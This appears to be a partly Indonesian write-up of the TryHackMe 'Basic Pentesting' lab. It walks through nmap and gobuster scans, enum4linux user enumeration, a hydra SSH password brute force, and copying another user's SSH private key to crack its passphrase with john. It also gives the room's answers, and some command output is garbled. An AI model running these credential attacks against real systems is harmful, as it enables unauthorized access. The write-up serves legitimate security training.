# WRITE UP BASIC PENTESTING TRYHACKME

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# [Web App Testing and Priviledge Escalation]

Deploy the machine and connect to our network

Find the services exposed by the machine

## Using nmap:

```
-(kali⊛kali)-[~/Downloads/TryHackme]
$ nmap -A 10.10.113.65
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-20 07:48 EDT
Nmap scan report for 10.10.113.65
Host is up (0.51s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
22/tcp open ssh
                          VERSION
                          OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
  ssh-hostkey:
    2048 db:45:cb:be:4a:8b:71:f8:e9:31:42:ae:ff:f8:45:e4 (RSA)
    256 09:b9:b9:1c:e0:bf:0e:1c:6f:7f:fe:8e:5f:20:1b:ce (ECDSA)
   256 a5:68:2b:22:5f:98:4a:62:21:3d:a2:e2:c5:a9:f7:c2 (ED25519)
.
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
Service Info: Host: BASIC2; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
_clock-skew: mean: 1h19m11s, deviation: 2h18m35s, median: -49s
 _nbstat: NetBIOS name: BASIC2, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
  smb-os-discovery:
```

What is the name of the hidden directory on the web server (enter name without /)?

#### Using gobuster:

```
(kali®kali)-[~/Downloads/TryHackme]
s gobuster dir -u 10.10.113.65 -w /usr/share/wordlists/dirb/common.txt
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
                                http://10.10.113.65
[+] Url:
                                GET
[+] Method:
[+] Threads:
                                10
[+] Wordlist:
                                 /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:
                                gobuster/3.1.0
   User Agent:
[+] Timeout:
                                 10s
2021/10/20 07:50:40 Starting gobuster in directory enumeration mode
                         (Status: 403) [Size: 291]
/.htaccess
                         (Status: 403) [Size: 296]
                        (Status: 403) [Size: 296]
(Status: 301) [Size: 318] [→ http://10.10.113.65/development/]
(Status: 200) [Size: 158]
(Status: 403) [Size: 300]
/.htpasswd
/development
/index.html
/server-status
2021/10/20 07:53:49 Finished
```





# Answer: development

Use brute-forcing to find username & password

• What is the username?

#### Using enum4linux:

```
(kali® kali)-[~/Downloads/TryHackme]
$ enum4linux -a 10.10.113.65
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Wed Oct 20 07:58:58 2021

| Target Information |
Target ...... 10.10.113.65
RID Range ..... 500-550,1000-1050
Username ..... ''
Password ...... ''
Known Usernames ... administrator, guest, krbtgt, domain admins, root, bin, none
```

Answer: jan

• What is the password?

# Using hydra:

```
(WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://10.10.113.65:22/
[STATUS] 95.33 tries/min, 96 tries in 00:03h, 14344131 to do in 2507:43h, 16 active
[STATUS] 93.43 tries/min, 266 tries in 00:07h, 143443765 to do in 2508:1216
[22][ssh] host: 10.10.113.65 login: jan password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-10-20 08:21:16
```

Answer: armando

What service do you use to access the server (answer in abbreviation in all caps?)

Answer: SSH

Enumerate the machine to find any vectors for priviledge escalation!

## Login to SSH:

```
-(kali®kali)-[~/Downloads/TryHackme]
ssh jan@10.10.113.65
jan@10.10.113.65's password:
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)
* Documentation: https://help.ubuntu.com
                  https://landscape.canonical.com
* Management:
                  https://ubuntu.com/advantage
 * Support:
0 packages can be updated.
0 updates are security updates.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
```

What is the name of the other user you found (all lower case?)

# Answer: kay

If you have found another user, what can you do with this information?

Saya masuk ke direktori home user lain, yaitu kay, dan menemukan file pass.bak yang hanya bisa dilihat oleh user kay. Lalu, untuk bisa membaca apa isi file tersebut saya masuk ke direktori .ssh dan menemukan sertifikat untuk bisa login ke user kay melalui SSH:

```
jan@basic2:~$ cd /home/kay/
jan@basic2:/home/kay$ ls -la
total 48
drwxr-xr-x 5 kay kay 4096 Apr 23 2018 .
-rw-r--r-- 1 kay kay
                    220 Apr 17 2018 .bash_logout
-rw-r-r-- 1 kay kay 3771 Apr 17 2018 .bashrc
        - 2 kay kay 4096 Apr 17 2018 .cache
     —— 1 root kay 119 Apr 23 2018 .lesshst
drwxrwxr-x 2 kay kay 4096 Apr 23 2018 .nano
                     57 Apr 23 2018 pass.bak
-rw---- 1 kay
                kay
                     655 Apr 17 2018 .profile
-rw-r--r-- 1 kay kay
drwxr-xr-x 2 kay kay 4096 Apr 23 2018 .ssh
-rw-r--r-- 1 kay kay
                       0 Apr 17 2018 .sudo_as_admin_successful
     --- 1 root kay
                     538 Apr 23 2018 .viminfo
jan@basic2:/home/kay$ cd .ssh/
jan@basic2:/home/kay/.ssh$ ls -lah
total 20K
drwxr-xr-x 2 kay kay 4.0K Apr 23 2018 .
drwxr-xr-x 5 kay kay 4.0K Apr 23
                              2018 ..
-rw-rw-r-- 1 kay kay 771 Apr 23 2018 authorized_keys
-rw-r--r-- 1 kay kay 3.3K Apr 19 2018 id_rsa
-rw-r--r-- 1 kay kay 771 Apr 19 2018 id rsa.pub
```

Namun, sebelum itu, kita harus mengetahui terlenih dahulu password untuk user kay. Saya menggunakan john the ripper untuk membrute force password-nya.

Langkah pertama yaitu saya salin file id\_rsa ke local:



Setelah itu, saya menggunakan python untuk menggenerate hash-nya:

```
(kali⊛kali)-[~]
$ python /usr/share/john/ssh2john.py ssh.txt > sshkey.txt
```

```
| Call Stakey.txt | Ssh.txt: $58shtey.txt | Ssh.txt: $58shtey.txt: $58shtey.txt | Ssh.txt: $58shtey.txt | Ssh.txt: $58shtey.txt: $58shte
```

Kemudian, langsung saya brute force menggunakan john dan didapat passwordnya:

```
(kali@ kali)-[~]
$ john --wordlist=/usr/share/wordlists/rockyou.txt sshkey.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 8 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
beeswax (ssh.txt)
Warning: Only 2 candidates left, minimum 8 needed for performance.
1g 0:00:00:02 DONE (2021-10-20 09:04) 0.3389g/s 4861Kp/s 4861Kc/s 4861KC/sa6_123..*7;Vamos!
Session completed
```

Setelah itu, saya mencoba untuk langsung login ke user kay dan ternyata tidak berhasil, karena password tersebut ternyata hanya untuk login melalui SSH. Kemudian saya coba lagi login melalui SSH namun dari machine dengan user jan tadi, dan ternyata berhasil:

```
jan@basic2:/home/kay/.ssh$ su -l kay
Password:
su: Authentication failure
jan@basic2:/home/kay/.ssh$ ssh -i id_rsa kay@10.10.113.65
Could not create directory '/home/jan/.ssh'.
The authenticity of host '10.10.113.65 (10.10.113.65)' can't be established.
ECDSA key fingerprint is SHA256:+Fk53V/LB+2pn40PL7GN/DuVHVv00lT9N4W5ifchySQ.
Are you sure you want to continue connecting (yes/no)? yes
Failed to add the host to the list of known hosts (/home/jan/.ssh/known_hosts).
Enter passphrase for key 'id_rsa':
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)
 * Documentation: https://help.ubuntu.com
 * Management:
                   https://landscape.canonical.com
 * Support:
                   https://ubuntu.com/advantage
0 packages can be updated.
0 updates are security updates.
Last login: Mon Apr 23 16:04:07 2018 from 192.168.56.102
kay@basic2:~$ ls -lah
```

What is final password you obtain?

```
kay@basic2:~$ ls -lah
total 48K
drwxr-xr-x 5 kay kay 4.0K Apr 23 2018 .
drwxr-xr-x 4 root root 4.0K Apr 19 2018
                       756 Apr 23 2018 .bash_history
220 Apr 17 2018 .bash_logout
      — 1 kay kay
-rw-r--r-- 1 kay kay
                                  2018 .bashrc
-rw-r--r-- 1 kay kay 3.7K Apr 17
         - 2 kay kay 4.0K Apr 17 2018 .cache
                      119 Apr 23 2018 .lesshst
-rw---- 1 root kay
drwxrwxr-x 2 kay kay 4.0K Apr 23 2018 .nano
-rw---- 1 kay kay
                       57 Apr 23 2018 pass.bak
-rw-r--r-- 1 kay kay
                       655 Apr 17 2018 .profile
drwxr-xr-x 2 kay kay 4.0K Apr 23 2018 .ssh
-rw-r--r-- 1 kay kay
                         0 Apr 17 2018 .sudo_as_admin_successful
-rw----- 1 root kay
                       538 Apr 23 2018 .viminfo
kay@basic2:~$ cat pass.bak
heresareallystrongpasswordthatfollowsthepasswordpolicy$$
```

Answer: here sare ally strong password that follows the password policy \$\$